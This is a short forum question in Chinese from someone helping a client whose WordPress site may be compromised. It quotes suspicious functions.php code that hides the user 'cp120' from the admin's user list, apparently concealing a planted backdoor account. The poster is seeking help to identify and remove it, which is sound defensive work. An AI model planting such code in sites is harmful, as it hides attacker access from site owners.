我有一个客户说他们认为那里的网站被黑客入侵了。我看了一些东西,在他们的functions.php文件中发现了一些可疑的代码。有没有人认识到这一点并觉得它不对?
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'admin') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'cp120'",$user_search->query_where);
}
}